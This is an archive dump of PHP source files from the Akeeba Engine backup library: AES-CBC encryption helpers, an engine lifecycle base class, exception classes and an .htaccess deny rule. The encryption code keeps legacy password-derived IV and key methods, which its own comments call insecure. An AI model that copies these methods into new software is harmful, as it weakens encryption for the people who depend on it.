				$plaintxtByte[$i] = $cipherCntr[$i] ^ ord(substr($ciphertext[$b], $i, 1));
				$plaintxtByte[$i] = chr($plaintxtByte[$i]);
			}

			$plaintxt[$b] = implode('', $plaintxtByte);
		}

		// join array of blocks into single plaintext string
		$plaintext = implode('', $plaintxt);

		return $plaintext;
	}

	/**
	 * AES encryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 * The data length is tucked as a 32-bit unsigned integer (little endian)
	 * after the ciphertext. It supports AES-128 only.
	 *
	 * @param   string  $plaintext  The data to encrypt
	 * @param   string  $password   Encryption password
	 *
	 * @return  string  The ciphertext
	 * @author Nicholas K. Dionysopoulos
	 *
	 * @since  3.0.1
	 */
	public function AESEncryptCBC($plaintext, $password)
	{
		$adapter = $this->getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Get encryption parameters
		$rand          = new RandomValue();
		$params        = $this->getKeyDerivationParameters();
		$useStaticSalt = $params['useStaticSalt'];
		$keySizeBytes  = $params['keySize'];
		$salt          = null;

		if ($useStaticSalt)
		{
			$key = $this->getStaticSaltExpandedKey($password);
		}
		else
		{
			// Create a salt and derive a key from the password using PBKDF2
			$algorithm  = $params['algorithm'];
			$iterations = $params['iterations'];
			$salt       = $rand->generate(64);
			$key        = $this->pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}


		// Also create a new, random IV
		$iv = $rand->generate($keySizeBytes);

		// The ciphertext is the encrypted string...
		$ciphertext = $adapter->encrypt($plaintext, $key, $iv);

		// ...minus the IV which was placed in front
		$ciphertext = substr($ciphertext, $keySizeBytes);

		if (!$useStaticSalt)
		{
			// ...plus the PBKDF2 setup values at the end (68 bytes)...
			$ciphertext .= 'JPST' . $salt;
		}

		// ...plus the IV at the end (20 bytes)...
		$ciphertext .= 'JPIV' . $iv;

		// ...plus the plaintext length (4 bytes).
		$ciphertext .= pack('V', strlen($plaintext));

		return $ciphertext;
	}

	/**
	 * Get the parameters fed into PBKDF2 to expand the user password into an encryption key. These are the static
	 * parameters (key size, hashing algorithm and number of iterations). A new salt is used for each encryption block
	 * to minimize the risk of attacks against the password.
	 *
	 * @return  array
	 */
	public function getKeyDerivationParameters()
	{
		return [
			'keySize'       => 16,
			'algorithm'     => $this->pbkdf2Algorithm,
			'iterations'    => $this->pbkdf2Iterations,
			'useStaticSalt' => $this->pbkdf2UseStaticSalt,
			'staticSalt'    => $this->pbkdf2StaticSalt,
		];
	}

	/**
	 * AES decryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 *
	 * It supports AES-128 only. It assumes that the last 4 bytes
	 * contain a little-endian unsigned long integer representing the unpadded
	 * data length.
	 *
	 * @param   string  $ciphertext  The data to encrypt
	 * @param   string  $password    Encryption password
	 *
	 * @return  string  The plaintext
	 * @author Nicholas K. Dionysopoulos
	 *
	 * @since  3.0.1
	 */
	public function AESDecryptCBC($ciphertext, $password)
	{
		$adapter = $this->getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Read the data size
		$unpacked  = unpack('V', substr($ciphertext, -4));
		$data_size = $unpacked[1];

		// Do I have a PBKDF2 salt?
		$salt             = substr($ciphertext, -92, 68);
		$rightStringLimit = -4;

		$params        = $this->getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$useStaticSalt = $params['useStaticSalt'];

		if (substr($salt, 0, 4) == 'JPST')
		{
			// We have a stored salt. Retrieve it and tell decrypt to process the string minus the last 44 bytes
			// (4 bytes for JPST, 16 bytes for the salt, 4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the
			// uncompressed string length - note that using PBKDF2 means we're also using a randomized IV per the
			// format specification).
			$salt             = substr($salt, 4);
			$rightStringLimit -= 68;

			$key = $this->pbkdf2($password, $salt, $algorithm, $iterations, $keySizeBytes);
		}
		elseif ($useStaticSalt)
		{
			// We have a static salt. Use it for PBKDF2.
			$key = $this->getStaticSaltExpandedKey($password);
		}
		else
		{
			// Get the expanded key from the password. THIS USES THE OLD, INSECURE METHOD.
			$key = $this->expandKey($password);
		}

		// Try to get the IV from the data
		$iv = substr($ciphertext, -24, 20);

		if (substr($iv, 0, 4) == 'JPIV')
		{
			// We have a stored IV. Retrieve it and tell mdecrypt to process the string minus the last 24 bytes
			// (4 bytes for JPIV, 16 bytes for the IV, 4 bytes for the uncompressed string length)
			$iv               = substr($iv, 4);
			$rightStringLimit -= 20;
		}
		else
		{
			// No stored IV. Do it the dumb way.
			$iv = $this->createTheWrongIV($password);
		}

		// Decrypt
		$plaintext = $adapter->decrypt($iv . substr($ciphertext, 0, $rightStringLimit), $key);

		// Trim padding, if necessary
		if (strlen($plaintext) > $data_size)
		{
			$plaintext = substr($plaintext, 0, $data_size);
		}

		return $plaintext;
	}

	/**
	 * That's the old way of creating an IV that's definitely not cryptographically sound.
	 *
	 * DO NOT USE, EVER, UNLESS YOU WANT TO DECRYPT LEGACY DATA
	 *
	 * @param   string  $password  The raw password from which we create an IV in a super bozo way
	 *
	 * @return  string  A 16-byte IV string
	 *
	 * @since   4.6.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	function createTheWrongIV($password)
	{
		static $ivs = [];

		$key = self::md5($password);

		if (!isset($ivs[$key]))
		{
			// Create an Initialization Vector (IV) based on the password, using the same technique as for the key
			$nBytes  = 16; // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
			$pwBytes = [];

			for ($i = 0; $i < $nBytes; $i++)
			{
				$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
			}

			$iv    = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
			$newIV = '';

			foreach ($iv as $int)
			{
				$newIV .= chr($int);
			}

			$ivs[$key] = $newIV;
		}

		return $ivs[$key];
	}

	/*
	 * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
	 *
	 * @param a  number to be shifted (32-bit integer)
	 * @param b  number of bits to shift a to the right (0..31)
	 * @return   a right-shifted and zero-filled by b bits
	 */

	/**
	 * Expand the password to an appropriate 128-bit encryption key. THIS CODE IS OBSOLETE. DO NOT USE.
	 *
	 * @param   string  $password
	 *
	 * @return  string
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public function expandKey($password)
	{
		// Try to fetch cached key or create it if it doesn't exist
		$nBits     = 128;
		$lookupKey = self::md5($password . '-' . $nBits);

		if (array_key_exists($lookupKey, $this->passwords))
		{
			$key = $this->passwords[$lookupKey];

			return $key;
		}

		// use AES itself to encrypt password to get cipher key (using plain password as source for
		// key expansion) - gives us well encrypted key.
		$nBytes  = $nBits / 8; // Number of bytes in key
		$pwBytes = [];

		for ($i = 0; $i < $nBytes; $i++)
		{
			$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
		}

		$key    = $this->Cipher($pwBytes, $this->KeyExpansion($pwBytes));
		$key    = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
		$newKey = '';

		foreach ($key as $int)
		{
			$newKey .= chr($int);
		}

		$key = $newKey;

		$this->passwords[$lookupKey] = $key;

		return $key;
	}

	/**
	 * Returns the correct AES-128 CBC encryption adapter
	 *
	 * @return  AdapterInterface
	 *
	 * @since   5.2.0
	 * @author  Nicholas K. Dionysopoulos
	 */
	public function getAdapter()
	{
		static $adapter = null;

		if (is_object($adapter) && ($adapter instanceof AdapterInterface))
		{
			return $adapter;
		}

		$adapter = new OpenSSL();

		if (!$adapter->isSupported())
		{
			$adapter = new Mcrypt();
		}

		return $adapter;
	}

	/**
	 * Returns the length of a string in BYTES, not characters
	 *
	 * @param   string  $string  The string to get the length for
	 *
	 * @return int The size in BYTES
	 */
	public function stringLength($string)
	{
		return function_exists('mb_strlen') ? mb_strlen($string, '8bit') : strlen($string);
	}

	/**
	 * Attempt to use mbstring for getting parts of strings
	 *
	 * @param   string    $string
	 * @param   int       $start
	 * @param   int|null  $length
	 *
	 * @return  string
	 */
	public function subString($string, $start, $length = null)
	{
		return function_exists('mb_substr') ? mb_substr($string, $start, $length, '8bit') :
			substr($string, $start, $length);
	}

	/**
	 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
	 *
	 * Test vectors can be found here: https://www.ietf.org/rfc/rfc6070.txt
	 *
	 * This implementation of PBKDF2 was originally created by https://defuse.ca
	 * With improvements by http://www.variations-of-shadow.com
	 * Modified for Akeeba Engine by Akeeba Ltd (removed unnecessary checks to make it faster)
	 *
	 * @param   string  $password    The password.
	 * @param   string  $salt        A salt that is unique to the password.
	 * @param   string  $algorithm   The hash algorithm to use. Default is sha1.
	 * @param   int     $count       Iteration count. Higher is better, but slower. Default: 1000.
	 * @param   int     $key_length  The length of the derived key in bytes.
	 *
	 * @return  string  A string of $key_length bytes
	 */
	public function pbkdf2($password, $salt, $algorithm = 'sha1', $count = 1000, $key_length = 16)
	{
		if (function_exists("hash_pbkdf2"))
		{
			return hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, true);
		}

		$hash_length = $this->stringLength(hash($algorithm, "", true));
		$block_count = ceil($key_length / $hash_length);

		$output = "";

		for ($i = 1; $i <= $block_count; $i++)
		{
			// $i encoded as 4 bytes, big endian.
			$last = $salt . pack("N", $i);

			// First iteration
			$xorResult = hash_hmac($algorithm, $last, $password, true);
			$last      = $xorResult;

			// Perform the other $count - 1 iterations
			for ($j = 1; $j < $count; $j++)
			{
				$last      = hash_hmac($algorithm, $last, $password, true);
				$xorResult ^= $last;
			}

			$output .= $xorResult;
		}

		return $this->subString($output, 0, $key_length);
	}

	/**
	 * @return string
	 */
	public function getPbkdf2Algorithm()
	{
		return $this->pbkdf2Algorithm;
	}

	/**
	 * @param   string  $pbkdf2Algorithm
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2Algorithm($pbkdf2Algorithm)
	{
		$this->pbkdf2Algorithm = $pbkdf2Algorithm;

		return $this;
	}

	/**
	 * @return int
	 */
	public function getPbkdf2Iterations()
	{
		return $this->pbkdf2Iterations;
	}

	/**
	 * @param   int  $pbkdf2Iterations
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2Iterations($pbkdf2Iterations)
	{
		$this->pbkdf2Iterations = $pbkdf2Iterations;

		return $this;
	}

	/**
	 * @return int
	 */
	public function getPbkdf2UseStaticSalt()
	{
		return $this->pbkdf2UseStaticSalt;
	}

	/**
	 * @param   int  $pbkdf2UseStaticSalt
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2UseStaticSalt($pbkdf2UseStaticSalt)
	{
		$this->pbkdf2UseStaticSalt = $pbkdf2UseStaticSalt;

		return $this;
	}

	/**
	 * @return string
	 */
	public function getPbkdf2StaticSalt()
	{
		return $this->pbkdf2StaticSalt;
	}

	/**
	 * @param   string  $pbkdf2StaticSalt
	 *
	 * @return Encrypt
	 */
	public function setPbkdf2StaticSalt($pbkdf2StaticSalt)
	{
		$this->pbkdf2StaticSalt = $pbkdf2StaticSalt;

		return $this;
	}

	/**
	 * Get the expanded key from the user supplied password using a static salt. The results are cached for performance
	 * reasons.
	 *
	 * @param   string  $password  The user-supplied password, UTF-8 encoded.
	 *
	 * @return  string  The expanded key
	 */
	public function getStaticSaltExpandedKey($password)
	{
		$params       = $this->getKeyDerivationParameters();
		$keySizeBytes = $params['keySize'];
		$algorithm    = $params['algorithm'];
		$iterations   = $params['iterations'];
		$staticSalt   = $params['staticSalt'];

		$lookupKey = "PBKDF2-$algorithm-$iterations-" . self::md5($password . $staticSalt);

		if (!array_key_exists($lookupKey, $this->passwords))
		{
			$this->passwords[$lookupKey] = $this->pbkdf2($password, $staticSalt, $algorithm, $iterations, $keySizeBytes);
		}

		return $this->passwords[$lookupKey];
	}

	protected function AddRoundKey($state, $w, $rnd, $Nb)
	{
		// xor Round Key into state S [�5.1.4]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
			}
		}

		return $state;
	}

	protected function SubBytes($s, $Nb)
	{
		// apply SBox to state S [�5.1.1]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$s[$r][$c] = $this->Sbox[$s[$r][$c]];
			}
		}

		return $s;
	}

	protected function ShiftRows($s, $Nb)
	{
		// shift row r of state S left by r bytes [�5.1.2]
		$t = [4];

		for ($r = 1; $r < 4; $r++)
		{
			// shift into temp copy
			for ($c = 0; $c < 4; $c++)
			{
				$t[$c] = $s[$r][($c + $r) % $Nb];
			}

			// and copy back
			for ($c = 0; $c < 4; $c++)
			{
				$s[$r][$c] = $t[$c];
			}

		}

		// note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):

		return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
	}

	protected function MixColumns($s, $Nb)
	{
		// combine bytes of each col of state S [�5.1.3]
		for ($c = 0; $c < 4; $c++)
		{
			$a = [4]; // 'a' is a copy of the current column from 's'
			$b = [4]; // 'b' is a�{02} in GF(2^8)

			for ($i = 0; $i < 4; $i++)
			{
				$a[$i] = $s[$i][$c];
				$b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
			}

			// a[n] ^ b[n] is a�{03} in GF(2^8)
			$s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
			$s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
			$s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
			$s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
		}

		return $s;
	}

	protected function SubWord($w)
	{
		// apply SBox to 4-byte word w
		for ($i = 0; $i < 4; $i++)
		{
			$w[$i] = $this->Sbox[$w[$i]];
		}

		return $w;
	}

	protected function RotWord($w)
	{
		// rotate 4-byte word w left by one byte
		$tmp = $w[0];

		for ($i = 0; $i < 3; $i++)
		{
			$w[$i] = $w[$i + 1];
		}

		$w[3] = $tmp;

		return $w;
	}

	protected function urs($a, $b)
	{
		$a &= 0xffffffff;
		$b &= 0x1f; // (bounds check)

		if ($a & 0x80000000 && $b > 0)
		{
			// if left-most bit set
			$a = ($a >> 1) & 0x7fffffff; //   right-shift one bit & clear left-most bit
			$a = $a >> ($b - 1); //   remaining right-shifts
		}
		else
		{
			// otherwise
			$a = ($a >> $b); //   use normal right-shift
		}

		return $a;
	}
}
PK     \P:  :  )  vendor/akeeba/engine/engine/Base/Part.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Base;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;
use Throwable;

/**
 * Base class for all Akeeba Engine parts.
 *
 * Parts are objects which perform a specific function during the backup process, e.g. backing up files or dumping
 * database contents. They have a fully defined and controlled lifecycle, from initialization to finalization. The
 * transition between lifecycle phases is handled by the `tick()` method which is essentially the only public interface
 * to interacting with an engine part.
 */
abstract class Part
{
	public const STATE_INIT = 0;
	public const STATE_PREPARED = 1;
	public const STATE_RUNNING = 2;
	public const STATE_POSTRUN = 3;
	public const STATE_FINISHED = 4;
	public const STATE_ERROR = 99;

	/**
	 * The current state of this part; see the constants at the top of this class
	 *
	 * @var int
	 */
	protected $currentState = self::STATE_INIT;

	/**
	 * The name of the engine part (a.k.a. Domain), used in return table
	 * generation.
	 *
	 * @var string
	 */
	protected $activeDomain = "";

	/**
	 * The step this engine part is in. Used verbatim in return table and
	 * should be set by the code in the _run() method.
	 *
	 * @var string
	 */
	protected $activeStep = "";

	/**
	 * A more detailed description of the step this engine part is in. Used
	 * verbatim in return table and should be set by the code in the _run()
	 * method.
	 *
	 * @var string
	 */
	protected $activeSubstep = "";

	/**
	 * Any configuration variables, in the form of an array.
	 *
	 * @var array
	 */
	protected $_parametersArray = [];

	/**
	 * The database root key
	 *
	 * @var  string
	 */
	protected $databaseRoot = [];

	/**
	 * Should we log the step nesting?
	 *
	 * @var  bool
	 */
	protected $nest_logging = false;

	/**
	 * Embedded installer preferences
	 *
	 * @var  object
	 */
	protected $installerSettings;

	/**
	 * How much milliseconds should we wait to reach the min exec time
	 *
	 * @var  int
	 */
	protected $waitTimeMsec = 0;

	/**
	 * Should I ignore the minimum execution time altogether?
	 *
	 * @var  bool
	 */
	protected $ignoreMinimumExecutionTime = false;

	/**
	 * The last exception thrown during the tick() method's execution.
	 *
	 * @var null|Exception
	 */
	protected $lastException = null;

	public function _onSerialize()
	{
		$this->lastException = null;
	}

	/**
	 * Public constructor
	 *
	 * @return  void
	 */
	public function __construct()
	{
		// Fetch the installer settings
		$this->installerSettings = (object) [
			'installerroot'  => 'installation',
			'sqlroot'        => 'installation/sql',
			'databasesini'   => 1,
			'readme'         => 1,
			'extrainfo'      => 1,
			'password'       => 0,
			'typedtablelist' => 0,
		];

		$config               = Factory::getConfiguration();
		$installerKey         = $config->get('akeeba.advanced.embedded_installer');
		$installerDescriptors = Factory::getEngineParamsProvider()->getInstallerList();

		// Fall back to default ANGIE installer if the selected installer is not found
		if (!array_key_exists($installerKey, $installerDescriptors))
		{
			$installerKey = 'brs';
		}

		if (array_key_exists($installerKey, $installerDescriptors))
		{
			$this->installerSettings = (object) $installerDescriptors[$installerKey];
		}
	}

	/**
	 * Nested logging of exceptions
	 *
	 * The message is logged using the specified log level. The detailed information of the Throwable and its trace are
	 * logged using the DEBUG level.
	 *
	 * If the Throwable is nested, its parents are logged recursively. This should create a thorough trace leading to
	 * the root cause of an error.
	 *
	 * @param   Exception|Throwable  $exception  The Exception or Throwable to log
	 * @param   string               $logLevel   The log level to use, default ERROR
	 */
	protected static function logErrorsFromException($exception, $logLevel = LogLevel::ERROR)
	{
		$logger = Factory::getLog();

		$logger->log($logLevel, $exception->getMessage());

		$logger->debug(sprintf('[%s] %s(%u) – #%u ‹%s›', get_class($exception), $exception->getFile(), $exception->getLine(), $exception->getCode(), $exception->getMessage()));

		foreach (explode("\n", $exception->getTraceAsString()) as $line)
		{
			$logger->debug(rtrim($line));
		}

		$previous = $exception->getPrevious();

		if (!is_null($previous))
		{
			self::logErrorsFromException($previous, $logLevel);
		}
	}

	/**
	 * The public interface to an engine part. This method takes care for
	 * calling the correct method in order to perform the initialisation -
	 * run - finalisation cycle of operation and return a proper response array.
	 *
	 * @param   int  $nesting
	 *
	 * @return  array  A response array
	 */
	public function tick($nesting = 0)
	{
		$configuration       = Factory::getConfiguration();
		$timer               = Factory::getTimer();
		$this->waitTimeMsec  = 0;
		$this->lastException = null;

		// Add a small wait based on the existence of a constant. Used in testing, to simulate slow servers.
		if (defined('AKEEBA_BACKUP_TESTING_STEP_THROTTLING'))
		{
			/** @noinspection PhpUndefinedConstantInspection */
			usleep((int) AKEEBA_BACKUP_TESTING_STEP_THROTTLING);
		}

		/**
		 * Call the right action method, depending on engine part state.
		 *
		 * The action method may throw an exception to signal failure, hence the try-catch. If there is an exception we
		 * will set the part's state to STATE_ERROR and store the last exception.
		 */
		try
		{
			switch ($this->getState())
			{
				case self::STATE_INIT:
					$this->_prepare();
					break;

				case self::STATE_PREPARED:
				case self::STATE_RUNNING:
					$this->_run();
					break;

				case self::STATE_POSTRUN:
					$this->_finalize();
					break;
			}
		}
		catch (Exception $e)
		{
			$this->lastException = $e;
			$this->setState(self::STATE_ERROR);
		}

		// If there is still time, we are not finished and there is no break flag set, re-run the tick()
		// method.
		$breakFlag = $configuration->get('volatile.breakflag', false);

		if (
			!in_array($this->getState(), [self::STATE_FINISHED, self::STATE_ERROR]) &&
			($timer->getTimeLeft() > 0) &&
			!$breakFlag &&
			($nesting < 20) &&
			($this->nest_logging)
		)
		{
			// Nesting is only applied if $this->nest_logging == true (currently only Kettenrad has this)
			$nesting++;

			if ($this->nest_logging)
			{
				Factory::getLog()->debug("*** Batching successive steps (nesting level $nesting)");
			}

			return $this->tick($nesting);
		}

		// Return the output array
		$out = $this->makeReturnTable();

		// If it's not a nest-logged part (basically, anything other than Kettenrad) return the output array.
		if (!$this->nest_logging)
		{
			return $out;
		}

		// From here on: things to do for nest-logged parts (i.e. Kettenrad)
		if ($breakFlag)
		{
			Factory::getLog()->debug("*** Engine steps batching: Break flag detected.");
		}

		// Reset the break flag
		$configuration->set('volatile.breakflag', false);

		// Log that we're breaking the step
		Factory::getLog()->debug("*** Batching of engine steps finished. I will now return control to the caller.");

		// Detect whether I need server-side sleep
		$serverSideSleep = $this->needsServerSideSleep();

		// Enforce minimum execution time
		if (!$this->ignoreMinimumExecutionTime)
		{
			$timer              = Factory::getTimer();
			$this->waitTimeMsec = (int) $timer->enforce_min_exec_time(true, $serverSideSleep);
		}

		// Send a Return Table back to the caller
		return $out;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return  array  The response array
	 */
	public function getStatusArray()
	{
		return $this->makeReturnTable();
	}

	/**
	 * Sends any kind of setup information to the engine part. Using this,
	 * we avoid passing parameters to the constructor of the class. These
	 * parameters should be passed as an indexed array and should be taken
	 * into account during the preparation process only. This function will
	 * set the error flag if it's called after the engine part is prepared.
	 *
	 * @param   array  $parametersArray  The parameters to be passed to the engine part.
	 *
	 * @return  void
	 */
	public function setup($parametersArray)
	{
		if ($this->currentState == self::STATE_PREPARED)
		{
			$this->setState(self::STATE_ERROR);

			throw new ErrorException(__CLASS__ . ":: Can't modify configuration after the preparation of " . $this->activeDomain);
		}

		$this->_parametersArray = $parametersArray;

		if (array_key_exists('root', $parametersArray))
		{
			$this->databaseRoot = $parametersArray['root'];
		}
	}

	/**
	 * Returns the state of this engine part.
	 *
	 * @return  int  The state of this engine part.
	 */
	public function getState()
	{
		if (!is_null($this->lastException))
		{
			$this->currentState = self::STATE_ERROR;
		}

		return $this->currentState;
	}

	/**
	 * Translate the integer state to a string, used by consumers of the public Engine API.
	 *
	 * @param   int  $state  The part state to translate to string
	 *
	 * @return  string
	 */
	public function stateToString($state)
	{
		switch ($state)
		{
			case self::STATE_ERROR:
				return 'error';
				break;

			case self::STATE_INIT:
				return 'init';
				break;

			case self::STATE_PREPARED:
				return 'prepared';
				break;

			case self::STATE_RUNNING:
				return 'running';
				break;

			case self::STATE_POSTRUN:
				return 'postrun';
				break;

			case self::STATE_FINISHED:
				return 'finished';
				break;
		}

		return 'init';
	}

	/**
	 * Get the current domain of the engine
	 *
	 * @return  string  The current domain
	 */
	public function getDomain()
	{
		return $this->activeDomain;
	}

	/**
	 * Get the current step of the engine
	 *
	 * @return  string  The current step
	 */
	public function getStep()
	{
		return $this->activeStep;
	}

	/**
	 * Get the current sub-step of the engine
	 *
	 * @return  string  The current sub-step
	 */
	public function getSubstep()
	{
		return $this->activeSubstep;
	}

	/**
	 * Implement this if your Engine Part can return the percentage of its work already complete
	 *
	 * @return  float  A number from 0 (nothing done) to 1 (all done)
	 */
	public function getProgress()
	{
		return 0;
	}

	/**
	 * Get the value of the minimum execution time ignore flag.
	 *
	 * DO NOT REMOVE. It is used by the Engine consumers.
	 *
	 * @return boolean
	 */
	public function isIgnoreMinimumExecutionTime()
	{
		return $this->ignoreMinimumExecutionTime;
	}

	/**
	 * Set the value of the minimum execution time ignore flag. When set, the nested logging parts (basically,
	 * Kettenrad) will ignore the minimum execution time parameter.
	 *
	 * DO NOT REMOVE. It is used by the Engine consumers.
	 *
	 * @param   boolean  $ignoreMinimumExecutionTime
	 */
	public function setIgnoreMinimumExecutionTime($ignoreMinimumExecutionTime)
	{
		$this->ignoreMinimumExecutionTime = $ignoreMinimumExecutionTime;
	}

	/**
	 * Runs any initialization code. Must set the state to STATE_PREPARED.
	 *
	 * @return  void
	 */
	abstract protected function _prepare();

	/**
	 * Runs any finalisation code. Must set the state to STATE_FINISHED.
	 *
	 * @return  void
	 */
	abstract protected function _finalize();

	/**
	 * Performs the main objective of this part. While still processing the state must be set to STATE_RUNNING. When the
	 * main objective is complete and we're ready to proceed to finalization the state must be set to STATE_POSTRUN.
	 *
	 * @return  void
	 */
	abstract protected function _run();

	/**
	 * Sets the BREAKFLAG, which instructs this engine part that the current step must break immediately,
	 * in fear of timing out.
	 *
	 * @return  void
	 */
	protected function setBreakFlag()
	{
		$registry = Factory::getConfiguration();
		$registry->set('volatile.breakflag', true);
	}

	/**
	 * Sets the engine part's internal state, in an easy to use manner
	 *
	 * @param   int  $state  The part state to set
	 *
	 * @return  void
	 */
	protected function setState($state = self::STATE_INIT)
	{
		$this->currentState = $state;
	}

	/**
	 * Constructs a Response Array based on the engine part's state.
	 *
	 * @return  array  The Response Array for the current state
	 */
	protected function makeReturnTable()
	{
		$errors = [];
		$e      = $this->lastException;

		while (!empty($e))
		{
			$errors[] = $e->getMessage();
			$e        = $e->getPrevious();
		}

		return [
			'HasRun'         => $this->currentState != self::STATE_FINISHED,
			'Domain'         => $this->activeDomain,
			'Step'           => $this->activeStep,
			'Substep'        => $this->activeSubstep,
			'Error'          => implode("\n", $errors),
			'Warnings'       => [],
			'ErrorException' => $this->lastException,
		];
	}

	/**
	 * Set the current domain of the engine
	 *
	 * @param   string  $new_domain  The domain to set
	 *
	 * @return  void
	 */
	protected function setDomain($new_domain)
	{
		$this->activeDomain = $new_domain;
	}

	/**
	 * Set the current step of the engine
	 *
	 * @param   string  $new_step  The step to set
	 *
	 * @return  void
	 */
	protected function setStep($new_step)
	{
		$this->activeStep = $new_step;
	}

	/**
	 * Set the current sub-step of the engine
	 *
	 * @param   string  $new_substep  The sub-step to set
	 *
	 * @return  void
	 */
	protected function setSubstep($new_substep)
	{
		$this->activeSubstep = $new_substep;
	}

	/**
	 * Do I need to apply server-side sleep for the time difference between the elapsed time and the minimum execution
	 * time?
	 *
	 * @return bool
	 */
	private function needsServerSideSleep()
	{
		/**
		 * If the part doesn't support tagging, i.e. I can't determine if this is a backend backup or not, I will always
		 * use server-side sleep.
		 */
		if (!method_exists($this, 'getTag'))
		{
			return true;
		}

		/**
		 * If this is not a backend backup I will always use server-side sleep. That is to say that legacy front-end,
		 * remote JSON API and CLI backups must always use server-side sleep since they do not support client-side
		 * sleep.
		 */
		if (!in_array($this->getTag(), ['backend']))
		{
			return true;
		}

		return Factory::getConfiguration()->get('akeeba.basic.clientsidewait', 0) == 0;
	}
}
PK     \    @  vendor/akeeba/engine/engine/Base/Exceptions/WarningException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Base\Exceptions;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * An exception which leads to a warning in the backup process
 */
class WarningException extends RuntimeException
{

}
PK     \Me!  !  >  vendor/akeeba/engine/engine/Base/Exceptions/ErrorException.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Base\Exceptions;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * An exception which leads to an error (and complete halt) in the backup process
 */
class ErrorException extends RuntimeException
{

}
PK     \Sʉ      5  vendor/akeeba/engine/engine/Base/Exceptions/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
